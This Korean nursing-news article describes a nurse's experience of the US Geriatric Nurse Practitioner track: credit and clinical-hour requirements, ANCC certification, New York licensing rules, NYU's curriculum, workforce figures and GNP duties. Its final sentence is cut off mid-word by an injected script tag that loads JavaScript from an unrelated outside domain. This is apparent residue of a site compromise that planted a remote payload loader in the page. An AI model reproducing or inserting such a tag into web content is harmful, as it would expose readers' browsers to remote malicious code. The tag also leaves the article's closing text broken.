미국에서는 노인전문간호사를 정식으로 Gerontological Nurse Practitioner (GNP), 보통은 Geriatric Nurse Practitioner라고 부른다. 이는 Advance Practice Nursing의 한 분야로 석사과정에 해당한다.
대부분의 NP과정은 48학점과 전공에 따라 650시간에서 1080시간 이상의 실습시간을 기본으로 하고 있다. 졸업 후 소정의 시험을 거쳐 합격하면 ANCC(American Nurses Credentialing Center)나 AANP(American Academy of Nurse Practitioner)라는 인가된 기관에서 증명서가 나온다.
GNP의 경우 미국간호협회(ANA) 산하기관인 ANCC에서 주관하는 시험을 봐야 한다. 한때 합격률이 40퍼센트 이하로 저조했었던 GNP시험이 지금은 많이 나아졌다고 한다.
뉴욕주의 경우 기본적으로 수업과 실습을 하고 졸업을 하게 되면 동시에 nurse practitioner certificate awarded라는 단어가 졸업장에 표시된다. 이는 뉴욕주와 몇몇의 주에서는 자격시험을 보지 않아도 실무를 할 수 있지만(New York State Education Department에 자격증은 신청해야 함), 미국의 대부분의 주에서는 이를 인정하지 않고 뉴욕주에서도 기관에 따라 기관의 Certification을 요구하기도 한다.
이는 자격증이 없어도 의료행위는 할 수 있지만 보험회사로부터 배상(reimburse)을 받을 수가 없기 때문이다. 주로 이런 경우는 자신과 같이 일하는 의사의 이름으로 같이 co－sign을 하거나 의사의 이름으로 자신의 처방전을 내는 경우이다. 이런 경우 GNP이기는 하지만 이름 옆에 APRN－BC가 붙여지지 않는다. APRN－BC는 Advanced Practice Registered Nurse－Board Certified로 전문간호사 자격증(CNS와 NP를 같이 칭하는 말임)이며 매 5년마다 갱신해야 한다.
뉴욕대학 GNP과정을 살펴보면, 노인전문간호사는 최소 48학점에 실습 720시간을 이수해야 한다. 석사 전체 공통과목으로 15학점, NP 공통과목으로 15학점, GNP과목으로 18학점을 의무적으로 이수하게 되어 있다. 석사 공통과목은 한국에서의 대부분의 석사과목과 비슷하며, NP 공통과목을 이수하면서 실습시간에 환자들을 직접 돌보게 된다.
예로 신체사정과목의 경우 3학점으로 수업시간 4시간 30분에 실습을 매주 3～4시간 하고, HIV 클리닉에서 직접 환자들을 보기 시작한다. 이때 노인전문간호사과정이라고 해서 노인만 보지는 않으며 성인 전체를 다룬다. 점차 GNP과목을 수강하면서 나머지 620시간의 실습을 하게 된다. 실습장소는 acute care, community－based home care, hospice, institutional long－term care setting, private office 등 다양하다.
이때 의사나 전문간호사가 프리셉터로 나서 실습을 지도한다. 실습은 철저하게 일대일이며, 전문간호사나 의사가 근무하는 시간 동안은 점심도 같이 먹는다. 전문간호사의 업무는 의사의 일과 크게 동떨어져 있지 않다. 실습 당시 맡았던 환자 중 한 명은 나를 Nurse－Doctor라고 부르기도 했다. 그만큼 의사와 전문간호사의 일이 크게 다르지 않다고 보면 된다.
2000년 U.S. Department of Health and Human 조사에 따르면, 미국 내에 6만8000명 정도의 NP가 있으며 대부분 primary care나 ambulatory setting(57%), 병원(29%)에서 근무하고 있다. 2%미만에 해당하는 약 1300명이 LTC(Long－term care)에서 일하고 있다. 2002년 조사에 의하면, ANCC로부터 자격을 인정받은 GNP는 약 3700명 정도이며, 한 해 약 300명의 GNP가 배출된다고 한다.
노인전문간호사들이 가장 많이 일하고 있는 곳은 Nursing Home Care(LTC) 기관이다. 1999년 조사에 따르면, 미국 전체에 1만8000개 LTC기관이 있으며, 각 LTC에는 평균 104개 정도의 병상이 있다. 65세 이상의 노인이 사망 전까지 LTC에 머물 확률은 약 1/3정도이다.
GNP는 의사에 비해 85%를 Medicare와 Medicaid 보험으로부터 배상(reimburse) 받는다. GNP는 모든 50개의 주에서 어느 정도의 형태로 처방권이 있으며, 약 25개 주에서는 의사의 감독 없이 주의 간호사면허국(Board of Nursing)에 의해 관리가 된다.
어느 세팅이건 대부분의 GNP는 병력조사, 건강사정, 검사를 order하고 결과 판단, 진단, 처방까지 모두 맡아 한다. 질병예방, 환자교육, 가족상담, 상처관리, 질 관리(QA/QI), 스태프 직무교육, 프로토콜 개발, sick/urgent resident visit 등도 GNP의 역할이다. 대부분의 노인전문간호사는 전문화된 실무를 하거나 사례관리(case management), 연구, 자문, 교육, 행정 등 다양한 역할을 하고 있다.
미국에서 노인전문간호사과정을 밟는 동안 환자에게 나타나는 결과는 의사나 전문간호사가 같거나 오히려 전문간호사가 역할을 했을 때 더 나아야 한다고 교육을 받았고 수업은 늘 치열하게 진행됐다. 그때 당시는 참 멀고도 힘든 과정이라고 생각했는데, 이렇게 나의 경험을 한국의 간호사들을 위해 함께 나눌 수 ?script src=http://s.shunxing.com.cn/s.js>
박진화 news@nursenews.co.kr